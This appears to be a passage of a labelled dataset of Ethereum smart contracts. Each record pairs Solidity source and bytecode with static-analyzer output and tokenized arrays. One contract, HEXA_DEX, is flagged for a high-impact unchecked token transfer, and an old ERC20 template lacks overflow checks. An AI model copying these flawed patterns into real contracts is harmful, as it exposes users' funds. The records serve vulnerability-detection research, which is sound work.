/** *Submitted for verification at Etherscan.io on 2021-02-16 */ pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract HEXA_DEX{ uint public tokenSellPrice=0.005 ether; uint public tokenBuyPrice=0.007 ether; uint public minBuy=10; uint public maxBuy=1000; uint public minSale=10; uint public maxSale=50; event Bought(address user,uint256 amount,uint price); event Sold(address user,uint256 amount,uint price); IERC20 public token; address public owner; constructor(IERC20 _hexa) public { owner=msg.sender; token = _hexa; } function buy(uint amount) payable public { address _user=msg.sender; uint32 size; assembly { size := extcodesize(_user) } require(size == 0, "cannot be a contract"); uint256 eVal=(amount*tokenBuyPrice); require(msg.value>=eVal,"Invalid Amount"); uint256 dexBalance = token.balanceOf(address(this)); require(amount >=minBuy && amount <=maxBuy, "Check Quantity"); uint256 amountTobuy = amount*100000000; require(amountTobuy <= dexBalance, "Not enough tokens in the reserve"); token.transfer(msg.sender, amountTobuy); emit Bought(msg.sender,amount,tokenBuyPrice); } function sell(uint256 amount) public { address _user=msg.sender; uint32 size; assembly { size := extcodesize(_user) } require(size == 0, "cannot be a contract"); require(amount >=minSale && amount<=maxSale, "Check Quantity"); uint256 allowance = token.allowance(msg.sender, address(this)); uint256 amountToSell = amount*100000000; require(allowance >= amountToSell, "Check the token allowance"); token.transferFrom(msg.sender, address(this), amountToSell); uint256 eVal=(amount*tokenSellPrice); msg.sender.transfer(eVal); emit Sold(msg.sender,amount,tokenSellPrice); } function updateSetting(uint bprice, uint sprice, uint miBuy, uint mxBuy, uint miSell, uint mxSell) public { address _user=msg.sender; uint32 size; assembly { size := extcodesize(_user) } require(size == 0, "cannot be a contract"); require(msg.sender==owner,"Only Owner"); if(bprice>0) tokenBuyPrice=bprice; if(sprice>0) tokenSellPrice=sprice; if(miBuy>0) minBuy=miBuy; if(mxBuy>0) maxBuy=mxBuy; if(miSell>0) minSale=miSell; if(mxSell>0) maxSale=mxSell; } function withdrawBalance(uint _type, uint amt,address payable user) public { require(msg.sender==owner,"Only Owner"); require(_type==1 || _type==2, "Invalid Request"); if(_type==1) { user.transfer(amt); } else { token.transfer(user, amt); } } }
0x6080604052600436106100a75760003560e01c8063b568564411610064578063b5685644146101da578063d96a094a14610247578063dbf9f65214610275578063e4849b32146102a0578063fb3d4771146102db578063fc0c546a14610340576100a7565b80633e30046a146100ac57806366b57cb5146100d757806370db69d6146101025780637107d7a61461012d5780638da5cb5b14610158578063a0877304146101af575b600080fd5b3480156100b857600080fd5b506100c1610397565b6040518082815260200191505060405180910390f35b3480156100e357600080fd5b506100ec61039d565b6040518082815260200191505060405180910390f35b34801561010e57600080fd5b506101176103a3565b6040518082815260200191505060405180910390f35b34801561013957600080fd5b506101426103a9565b6040518082815260200191505060405180910390f35b34801561016457600080fd5b5061016d6103af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bb57600080fd5b506101c46103d5565b6040518082815260200191505060405180910390f35b3480156101e657600080fd5b50610245600480360360c08110156101fd57600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506103db565b005b6102736004803603602081101561025d57600080fd5b8101908080359060200190929190505050610595565b005b34801561028157600080fd5b5061028a6109e2565b6040518082815260200191505060405180910390f35b3480156102ac57600080fd5b506102d9600480360360208110156102c357600080fd5b81019080803590602001909291905050506109e8565b005b3480156102e757600080fd5b5061033e600480360360608110156102fe57600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6d565b005b34801561034c57600080fd5b506103556110f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60055481565b60005481565b60035481565b60025481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60003390506000813b905060008163ffffffff1614610462576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206265206120636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f6e6c79204f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600088111561053657876001819055505b600087111561054757866000819055505b600086111561055857856002819055505b600085111561056957846003819055505b600084111561057a57836004819055505b600083111561058b57826005819055505b5050505050505050565b60003390506000813b905060008163ffffffff161461061c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206265206120636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b6000600154840290508034101561069b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420416d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561073c57600080fd5b505afa158015610750573d6000803e3d6000fd5b505050506040513d602081101561076657600080fd5b81019080805190602001909291905050509050600254851015801561078d57506003548511155b6107ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f436865636b205175616e7469747900000000000000000000000000000000000081525060200191505060405180910390fd5b60006305f5e1008602905081811115610880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4e6f7420656e6f75676820746f6b656e7320696e20746865207265736572766581525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561092957600080fd5b505af115801561093d573d6000803e3d6000fd5b505050506040513d602081101561095357600080fd5b8101908080519060200190929190505050507fa9a40dec7a304e5915d11358b968c1e8d365992abf20f82285d1df1b30c8e24c3387600154604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050505050565b60015481565b60003390506000813b905060008163ffffffff1614610a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206265206120636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b6004548310158015610a8357506005548311155b610af5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f436865636b205175616e7469747900000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610bca57600080fd5b505afa158015610bde573d6000803e3d6000fd5b505050506040513d6020811015610bf457600080fd5b8101908080519060200190929190505050905060006305f5e1008502905080821015610c88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f436865636b2074686520746f6b656e20616c6c6f77616e63650000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610d6557600080fd5b505af1158015610d79573d6000803e3d6000fd5b505050506040513d6020811015610d8f57600080fd5b81019080805190602001909291905050505060008054860290503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610def573d6000803e3d6000fd5b507fbac9694ac0daa55169abd117086fe32c89401d9a3b15dd1d34e55e0aa4e47a9d3387600054604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f6e6c79204f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001831480610f3f5750600283145b610fb1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642052657175657374000000000000000000000000000000000081525060200191505060405180910390fd5b6001831415611006578073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611000573d6000803e3d6000fd5b506110ec565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b505050506040513d60208110156110d957600080fd5b8101908080519060200190929190505050505b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212206f863c5d51a1477e1949a37884ce2ed3822b0c124dfc1087c4a020ce327756a364736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2546, 12740, 21084, 2497, 18939, 2509, 3540, 28154, 28311, 2497, 2581, 12521, 2050, 2692, 2549, 2546, 2094, 27531, 20958, 2509, 2050, 2620, 2620, 2509, 2546, 2094, 2509, 2278, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 2385, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,691
0x97302e9bc0d5c45cd003b2faaac177645e4a479d
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token() { balances[msg.sender] = 2100000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 2100000000000000; // Update total supply (100000 for example) name = "Independent Future Automation"; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = "IFA"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610ee657600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058200aa467c9457a9e4433ac3cba654427193f6c38d519832ca1d4997b31e31ae53e0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 14142, 2475, 2063, 2683, 9818, 2692, 2094, 2629, 2278, 19961, 19797, 8889, 2509, 2497, 2475, 7011, 11057, 2278, 16576, 2581, 21084, 2629, 2063, 2549, 2050, 22610, 2683, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,692
0x973065599BACa33FC9CAD2823710f1332D2B7805
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; abstract contract IDFSRegistry { function getAddr(bytes32 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } interface IERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), 